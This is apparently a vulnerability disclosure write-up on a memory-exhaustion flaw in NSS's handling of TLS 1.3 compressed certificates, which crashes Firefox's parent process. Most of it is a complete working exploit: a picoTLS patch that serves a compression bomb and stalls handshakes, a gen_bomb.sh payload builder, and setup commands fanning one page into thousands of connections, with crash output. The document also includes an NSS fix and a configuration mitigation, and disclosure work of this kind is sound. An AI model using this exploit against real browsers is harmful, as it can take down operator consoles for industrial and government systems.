# Certificate compression bomb at control systems
> NSS allocates whatever the wire claims and pins it until the socket
> closes. Sixty-six kilobytes become sixteen megabytes; one page load ends
> every tab.
The bug is a missing cap: NSS reads a three-byte field on the wire and
allocates exactly that many bytes for the decompressed certificate. The
field tops out at sixteen megabytes; NSS slurps up the value on blind
trust, no bounds check. BoringSSL caps at one hundred kilobytes, so does
OpenSSL. NSS reads the IETF security hint as optional.
The sixteen megabytes alone would be transient, freed when parsing
finishes. The persistence is downstream: Parsing copies each certificate
entry into a per-connection memory pool that survives the handshake and
lives until the socket dies. The attacker holds it open. The decompressed
buffer carries one real leaf at the head and sixty-six thousand junk
entries thereafter; each lands in the pool. Sixty-six kilobytes on the
wire become sixteen megabytes of pinned memory per connection, 248×
amplification.
```
one page load
| wildcard DNS -> 384 origins x 6
retries
v
~2,300 TLS handshakes, each stalled open (server never sends Finished)
|
| per handshake, wire -> heap:
| 66 KB CompressedCertificate --zlib--> 16 MB (248x amplification)
| uncompressed_length = 16,777,215
| 1 real leaf + ~66k junk entries -> per-conn arena, pinned until close
v
~2,300 x 16 MB ~= 36 GB pinned in Firefox's single parent process
| (the one Project Fission cannot wall off)
v
kernel OOM-kill -> every tab dies at once; the operator's console goes black
```
Firefox amplifies further. The attacker never sends Finished; the
handshake stalls; Firefox retries on a fresh connection. A wildcard DNS
record fans one page load into thousands of handshakes, and they arrive
as ordinary subresources: the images of a page, not a destination the
operator chose. NSS runs in Firefox's parent process, the one Project
Fission cannot wall off; every other tab shares it: baseboard management
controller (BMC), hypervisor, K8s dashboard, human-machine interface
(HMI). The browser is not just the window onto the infrastructure; it is
the lever the operator pulls. The OOM kill takes both.
## Don't trust, verify
The attack is one zlib-compressed certificate-list: One real leaf at
the head and sixty-six thousand junk CertificateEntry copies, packed
flat, deflated, wrapped in a CompressedCertificate message of 66 kB on
wire, 16 MB on heap. picoTLS is the shipping crate. A thirty-line patch
across three files plus a precomputed `bomb.zlib` blob teaches the
default certificate emitter to push the bomb in place of the real chain
and skip CertificateVerify+Finished so NSS's per-connection certificate
memory is not reclaimed.
the patch, if you want to see how it works
```diff
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -84,3 +84,20 @@
-ADD_LIBRARY(picotls-core ${CORE_FILES})
+## cybernuke BURST: bake bomb.zlib into picotls-core as an ELF blob.
+## ld -r -b binary creates symbols _binary_bomb_zlib_{start,end,size}
+## that lib/picotls.c references via `extern const uint8_t`. bomb.zlib
+## and bomb_meta.h are produced by gen_bomb.sh
+## and are expected at ${CMAKE_SOURCE_DIR}/bomb.{zlib,meta.h}.
+ADD_CUSTOM_COMMAND(
+ OUTPUT ${CMAKE_BINARY_DIR}/bomb.o
+ COMMAND ${CMAKE_LINKER} -r -b binary
+ -o ${CMAKE_BINARY_DIR}/bomb.o bomb.zlib
+ WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
+ DEPENDS ${CMAKE_SOURCE_DIR}/bomb.zlib
+ VERBATIM)
+SET_SOURCE_FILES_PROPERTIES(${CMAKE_BINARY_DIR}/bomb.o PROPERTIES
+ EXTERNAL_OBJECT true GENERATED true)
+
+ADD_LIBRARY(picotls-core ${CORE_FILES} ${CMAKE_BINARY_DIR}/bomb.o)
+## ${CMAKE_SOURCE_DIR} on the include path: for bomb_meta.h
+TARGET_INCLUDE_DIRECTORIES(picotls-core PRIVATE ${CMAKE_SOURCE_DIR})
TARGET_LINK_LIBRARIES(picotls-core ${CORE_EXTRA_LIBS})
--- a/lib/picotls.c
+++ b/lib/picotls.c
@@ -3140,2 +3140,12 @@
+/* cybernuke BURST: emit a precomputed CompressedCertificate. The zlib bytes
+ * are baked in at link time from bomb.zlib (see
+ * gen_bomb.sh); decompressed plaintext is a TLS-1.3 Certificate message
+ * (1 throwaway leaf + ~66,050 junk CertificateEntry copies). NSS allocates
+ * uncompressed_length, parses entries into the per-conn arena, holds the
+ * arena until socket close. One handshake -> 16 MB pinned. */
+#include "bomb_meta.h" /* BURST_UNCOMPRESSED_LEN — written by gen_bomb.sh */
+extern const uint8_t _binary_bomb_zlib_start[];
+extern const uint8_t _binary_bomb_zlib_end[];
+
static int default_emit_certificate_cb(ptls_emit_certificate_t *_self, ptls_t *tls, ptls_message_emitter_t *emitter,
@@ -3145,7 +3155,13 @@
int ret;
+ const size_t comp_len =
+ (size_t)(_binary_bomb_zlib_end - _binary_bomb_zlib_start);
- ptls_push_message(emitter, key_sched, PTLS_HANDSHAKE_TYPE_CERTIFICATE, {
- if ((ret = ptls_build_certificate_message(emitter->buf, context, tls->ctx->certificates.list, tls->ctx->certificates.count,
- ptls_iovec_init(NULL, 0))) != 0)
- goto Exit;
+ ptls_push_message(emitter, key_sched,
+ PTLS_HANDSHAKE_TYPE_COMPRESSED_CERTIFICATE, {
+ /* algorithm = zlib */
+ ptls_buffer_push16(emitter->buf, 1);
+ /* uncompressed_length */
+ ptls_buffer_push24(emitter->buf, BURST_UNCOMPRESSED_LEN);
+ ptls_buffer_push24(emitter->buf, (uint32_t)comp_len);
+ ptls_buffer_pushv(emitter->buf, _binary_bomb_zlib_start, comp_len);
});
@@ -4875,5 +4891,6 @@
goto Exit;
- /* send certificateverify, finished, and complete the handshake */
- if ((ret = server_finish_handshake(tls, emitter, 1, &ch->signature_algorithms)) != 0)
- goto Exit;
+ /* cybernuke BURST: skip CertificateVerify + Finished. Firefox parses
+ * the CompressedCertificate (allocates 16 MB into peerCertArena),
+ * then waits for the rest of the server flight, which never
+ * arrives. */
} else {
--- a/t/cli.c
+++ b/t/cli.c
@@ -330,5 +330,15 @@
while (1) {
- fprintf(stderr, "waiting for connections\n");
- if ((conn_fd = accept(listen_fd, NULL, 0)) != -1)
- handle_connection(conn_fd, ctx, NULL, input_file, hsprop, request_key_update, 0);
+ if ((conn_fd = accept(listen_fd, NULL, 0)) != -1) {
+ /* cybernuke BURST: fork-after-accept. Parent loops back to accept
+ * so each Firefox retry spawns a fresh child; child holds its TCP
+ * socket open via the sleep-infinity stdin pipe, keeping NSS's
+ * per-conn peerCertArena pinned. */
+ if (fork() == 0) {
+ close(listen_fd);
+ handle_connection(conn_fd, ctx, NULL, input_file,
+ hsprop, request_key_update, 0);
+ _exit(0);
+ }
+ close(conn_fd);
+ }
}
```
picoTLS is a small, single-author TLS 1.3 stack; the entire
CompressedCertificate emission is one function and one library. The
cert-emit callback shrinks to six lines: One `ptls_push_message` block
whose payload is the precomputed bytes from `bomb.zlib`. (The appendix
carries `gen_bomb.sh`, which builds that blob: `openssl` mints a
throwaway leaf, a little shell frames it plus ~66,050 junk
`CertificateEntry` copies into one 16 MB Certificate message, and
`pigz -z` deflates the result.) Every handshake emits the same bytes.
No per-connection compress, no per-connection
16 MB allocation: The attacker's only per-handshake cost is the TLS
state machine itself. Launch Firefox headless and watch the parent's
resident memory climb (rows transcribed from the run):
```
$ firefox-esr -profile /tmp/burst/profile -headless \
https://127.0.0.1:8999/index.html &
$ FF=$!; T0=$SECONDS
$ while kill -0 $FF 2>/dev/null; do
rss=$(awk '/VmRSS/{print $2}' /proc/$FF/status 2>/dev/null)
printf '%4ds %6d MB\n' $((SECONDS-T0)) $((rss/1024))
sleep 5
done
5s 4342 MB
30s 19288 MB
60s 29824 MB
90s 36735 MB
120s 42591 MB
150s 43793 MB
# kill -0 fails: Firefox parent gone
$ dmesg | grep -A1 'Out of memory' | tail -2
[ 161.083] Out of memory: Killed process 12847 (firefox)
[ 161.083] total-vm:46010848kB, anon-rss:44966624kB, ...
```
The kernel did the killing, not Firefox: `dmesg` records it OOM-killing
the parent `firefox` process. Two-thousand-plus handshakes × sixteen
megabytes each: thirty-six gigabytes notional, forty-three gigabytes
resident with kernel and Firefox overhead on top.
## Trace to vulnerability site
The decode site is one function in NSS's TLS 1.3 channel implementation.
Three bytes off the wire, straight into a 32-bit unsigned, in
`tls13con.c`:
```c
PRUint32 decodedCertLen = 0;
rv = ssl3_ConsumeHandshakeNumber(ss, &decodedCertLen, 3, &b, &length);
```
The next branch only rejects zero:
```c
if (decodedCertLen == 0) {
SSL_TRC(50, ("%d: TLS13[%d]: %s decoded certificate length is incorrect",
SSL_GETPID(), ss->fd, SSL_ROLE(ss),
ssl3_mapCertificateCompressionAlgorithmToName(ss, compressionAlg)));
FATAL_ERROR(ss, SSL_ERROR_RX_MALFORMED_CERTIFICATE, bad_certificate);
return SECFailure;
}
```
No upper-bound check before the allocation twenty-eight lines on:
```c
/* Decoding received certificate. */
PRUint8 *decodedCert = PORT_ZAlloc(decodedCertLen);
if (!decodedCert) {
return SECFailure;
}
```
A zeroing `malloc` of `decodedCertLen` bytes, sixteen megabytes if the
attacker says so, every page of it touched in one contiguous `zlib`
write. `PORT_Free` hands that buffer back when parsing returns: the
transient half.
The second half is the leak, where `tls13_HandleCertificate` walks the
decompressed buffer and copies each junk entry's DER bytes into
`peerCertArena` via `SECITEM_ArenaDupItem`; `ssl3_AuthCertificate` fails
the junk chain at validation and returns without cleanup. The memory
outlives every error path, freed only on the *next* handshake's
`ssl3_CleanupPeerCerts()`, which a stalled connection never reaches.
## Fix
Our fix caps the wire claim before allocating: a bound test on
`decodedCertLen`, inserted immediately after the zero check and before
the allocation. One hundred kilobytes matches the limit OpenSSL and
BoringSSL already enforce.
```diff
--- a/lib/ssl/tls13con.c
+++ b/lib/ssl/tls13con.c
@@ -4058,6 +4058,19 @@
FATAL_ERROR(ss, SSL_ERROR_RX_MALFORMED_CERTIFICATE, bad_certificate);
return SECFailure;
}
+ /* Cap the decompressed size to prevent memory exhaustion. The wire
+ * field is a uint24 (max 16MB) but the CompressedCertificate path
+ * bypasses the 128KB cap applied to regular handshake messages. 100KB
+ * matches the limit enforced by OpenSSL and BoringSSL. */
+#define MAX_CERT_UNCOMPRESSED_LEN (100 * 1024)
+ if (decodedCertLen > MAX_CERT_UNCOMPRESSED_LEN) {
+ SSL_TRC(50, ("%d: TLS13[%d]: %s uncompressed_length %u over cap %u",
+ SSL_GETPID(), ss->fd, SSL_ROLE(ss),
+ decodedCertLen, MAX_CERT_UNCOMPRESSED_LEN));
+ FATAL_ERROR(ss, SSL_ERROR_RX_MALFORMED_CERTIFICATE, bad_certificate);
+ return SECFailure;
+ }
+#undef MAX_CERT_UNCOMPRESSED_LEN
/* opaque compressed_certificate_message<1..2^24-1>; */
PRUint32 compressedCertLen = 0;
```
Re-run against a build carrying the cap: each `CompressedCertificate`
whose `uncompressed_length` claims 16,777,215 is rejected at the bound
test before the allocation, and the parent stays flat at its idle
working set. The retry-multiplier shape survives and has nothing left to
amplify.
## Scope
NSS shipped `compress_certificate` in 3.98 (February 2024); Firefox
enabled it by default at 128 (mid-2024), so every release since is
vulnerable. BoringSSL and OpenSSL cap at a hundred kilobytes; NSS does
not.
The deployment surface is not the desktop browsing population. It is the
operations console. Germany's BSI *Mindeststandard für sichere
Web-Browser* v3.0 names Firefox ESR as the recommended browser for
federal endpoints handling *VS−NfD*; every Bundesverwaltung workstation
runs it. The same shape lands at every industrial HMI console where the
affected client is the only window onto a safety-critical system, and at
the long tail of operations consoles delivered as web apps. Operators who
cannot yet patch can switch the feature off in `about:config`:
```
security.tls.enable_certificate_compression = false
```
The headline score, CVSS 7.5 High, carries Scope: Unchanged, and the
instinct runs the other way: one page ends the browser and every tab with
it, which looks like damage escaping. It is not. Fission holds tabs apart
by process and never covered the process NSS's handshake work runs in, so
at the point of failure there was no boundary to cross. That absence is
by design, and it is the finding underneath the finding: the mechanism
that isolates tabs does not reach the code that parses hostile
certificates. Scored either way, the console still goes dark.
[SHATTER](https://cybernuke.bensmyth.com/SHATTER-nss-posthandshake-certreq-heap-overflow)
crosses the same ground by another route in the same library.
## Appendix: standing it up
The orchestration is a stock TLS deployment, only scaled out: build the
patched `cli`, mint a throwaway cert, and stand up one bomb-serving
listener per origin the wildcard resolves to, fronted by a page whose
images touch them all. Save the adversary diff above as `burst.patch`
inside the clone below, which is the tree it applies to. Save
`gen_bomb.sh`, at the foot of this appendix, into that clone too: the
build block runs it.
```
# Terminal 1 -- build the patched picoTLS server (one-time, ~30 s cold).
$ git clone https://github.com/h2o/picotls /tmp/picotls
$ cd /tmp/picotls && git checkout aef2262
$ git submodule update --init --recursive
$ patch -p1 < burst.patch # the adversary diff above
$ bash gen_bomb.sh . # writes bomb.zlib + bomb_meta.h
$ mkdir build && cd build
$ cmake .. >/dev/null
$ make -j8 cli >/dev/null
$ CLI=$PWD/cli # the patched picoTLS server
# 384 patched listeners, one per origin port. Each forks per accept and
# delivers a fresh bomb; `sleep infinity` keeps cli's stdin open so the
# child holds the socket after the bomb is delivered (NSS's per-conn arena
# stays pinned until socket close). -N x25519 matches the curve Firefox
# selects so the bomb lands on the vulnerable code path.
$ mkdir /tmp/burst && cd /tmp/burst
$ openssl req -x509 -newkey ec \
-pkeyopt ec_paramgen_curve:prime256v1 -nodes -days 1 \
-subj /CN=evil.example -keyout srv.key -out srv.pem
$ for P in {9000..9383}; do
sleep infinity | $CLI -c srv.pem -k srv.key -N x25519 127.0.0.1 $P &
done
# One HTML body, 384 origins, 6
per origin (Firefox's default
# max-persistent-connections-per-server), served by stock openssl on 8999.
# Firefox parses a top-level document only over a chain it accepts, so
# mint a throwaway certificate authority and a leaf for 127.0.0.1 under
# it. The 384 bomb listeners need no such thing: their arena is pinned
# while the junk chain is parsed, before anything rejects it.
$ openssl req -x509 -newkey ec \
-pkeyopt ec_paramgen_curve:prime256v1 -nodes -days 1 \
-subj /CN=BURST-CA -keyout ca.key -out ca.pem
$ openssl req -newkey ec \
-pkeyopt ec_paramgen_curve:prime256v1 -nodes \
-subj /CN=127.0.0.1 -addext subjectAltName=IP:127.0.0.1 \
-keyout lp.key -out lp.csr
$ openssl x509 -req -in lp.csr -CA ca.pem -CAkey ca.key -CAcreateserial \
-days 1 -copy_extensions copyall -out lp.pem
$ { echo '
'
for i in {9000..9383}; do for j in 1 2 3 4 5 6; do
printf '
' $i $j
done; done; echo ''
} > index.html
$ openssl s_server -cert lp.pem -key lp.key -accept 8999 -WWW -quiet &
# A fresh Firefox profile trusting BURST-CA (certutil, libnss3-tools).
$ mkdir profile
$ certutil -N -d profile --empty-password
$ certutil -A -d profile -n burst-ca -t "CT,C,C" -i ca.pem
```
Everything a maintainer needs is above. What follows is the wiring behind
the `gen_bomb.sh` line in the build block, which also writes
`bomb_meta.h`, the `uncompressed_length` the emitter puts on the wire. It
is here so that a verifier whose own reconstruction disagrees with ours
can find out whose fault that is. The CMake rule in the adversary patch
bakes the blob into `picotls-core` at link time via `ld -r -b binary`.
```bash
#!/usr/bin/env bash
# gen_bomb.sh DEST_DIR
#
# cybernuke BURST -- build the certificate-compression bomb the patched
# picoTLS server emits, writing two files into DEST_DIR (the picoTLS
# source root, where the CMake rule added by adversary.patch expects
# them):
#
# bomb.zlib the precomputed CompressedCertificate payload -- a zlib
# stream (RFC 1950, compression algorithm 1) that inflates to
# a TLS 1.3 Certificate message: one throwaway leaf followed
# by tens of thousands of junk CertificateEntry copies, sized
# to the uint24 maximum so NSS allocates the whole 16 MB.
# bomb_meta.h #define BURST_UNCOMPRESSED_LEN -- the exact inflated
# length. NSS reads this off the wire as uncompressed_length,
# allocates that many bytes, then inflates into them; it MUST
# equal the true inflated size or the decode aborts before the
# bug is reached.
#
# The wire shape is identical every run; the leaf is minted fresh, so the
# exact bytes vary run-to-run but the message layout and length do not.
#
# Tools: openssl (leaf), printf/head/cat (assemble the message),
# pigz -z (zlib).
set -euo pipefail
DEST="${1:?usage: gen_bomb.sh DEST_DIR}"
DEST="$(cd "$DEST" && pwd)"
# uncompressed_length is a uint24 on the wire; 2^24-1 is the largest a single
# CompressedCertificate can claim, and what NSS then allocates in one shot.
TARGET=16777215
work="$(mktemp -d)"; trap 'rm -rf "$work"' EXIT; cd "$work"
# be24 N -> three big-endian length bytes
be24() {
printf "$(printf '\\x%02x\\x%02x\\x%02x' \
$(((($1)>>16)&255)) \
$(((($1)>>8)&255)) \
$((($1)&255)))"
}
# --- 1. a throwaway leaf certificate, DER ----------------------------------
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes \
-days 1 -subj /CN=burst.example -keyout leaf.key \
-outform DER -out leaf.der 2>/dev/null
leaf_len=$(wc -c < leaf.der)
# --- 2. size the junk fill so the message is exactly TARGET bytes ----------
# message = context(1) + certlist_len(3) + leaf_entry + junk
# leaf_entry = certlen(3) + leaf.der + ext(2)
# junk unit = certlen(3) + 249 data + ext(2) = 254 bytes
UNIT_DATA=249; UNIT=$((UNIT_DATA + 5))
leaf_entry=$((3 + leaf_len + 2))
junk_total=$((TARGET - 1 - 3 - leaf_entry)) # bytes for all junk entries
units=$((junk_total / UNIT))
rem=$((junk_total % UNIT)) # folded into one oversized entry
# --- 3. building blocks ----------------------------------------------------
{
be24 "$UNIT_DATA"
head -c "$UNIT_DATA" /dev/zero
printf '\x00\x00'
} > unit.bin
# grow to 4096 units (~1 MB) by doubling
cp unit.bin block.bin
for _ in $(seq 1 12); do cat block.bin block.bin > b2 && mv b2 block.bin; done
block_units=4096
# how many canonical units to lay down (one entry is oversized to absorb rem)
if [ "$rem" -ne 0 ]; then keep=$((units - 1)); else keep=$units; fi
full=$((keep / block_units)); tail_units=$((keep % block_units))
# --- 4. assemble the decompressed Certificate message -----------------------
{
printf '\x00' # certificate_request_context<0>
be24 $((TARGET - 4)) # certificate_list length
be24 "$leaf_len"; cat leaf.der; printf '\x00\x00' # the real leaf entry
for _ in $(seq 1 "$full"); do cat block.bin; done # bulk junk, whole blocks
head -c $((tail_units * UNIT)) block.bin # remaining whole units
if [ "$rem" -ne 0 ]; then # one entry absorbs the remainder
last=$((UNIT_DATA + rem))
be24 "$last"; head -c "$last" /dev/zero; printf '\x00\x00'
fi
} > plain.bin
got=$(wc -c < plain.bin)
if [ "$got" -ne "$TARGET" ]; then
echo "gen_bomb: assembled $got != target $TARGET" >&2
exit 1
fi
# --- 5. compress (zlib / RFC 1950) and emit the meta header -----------------
pigz -z -9 -c plain.bin > "$DEST/bomb.zlib"
printf '#define BURST_UNCOMPRESSED_LEN %su\n' "$TARGET" > "$DEST/bomb_meta.h"
comp=$(wc -c < "$DEST/bomb.zlib")
printf 'gen_bomb: uncompressed=%s compressed=%s '\
'ratio=%sx (1 leaf + %s junk entries)\n' \
"$TARGET" "$comp" "$((TARGET / comp))" "$units" >&2
```
---
Discovered 2026-03-24; disclosed 2026-03-25 (Mozilla + CERT/CC VRF#26-03-PLLDJ). Target: NSS 3.110 at release tag `NSS_3_110_RTM`. CWE-770 · CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.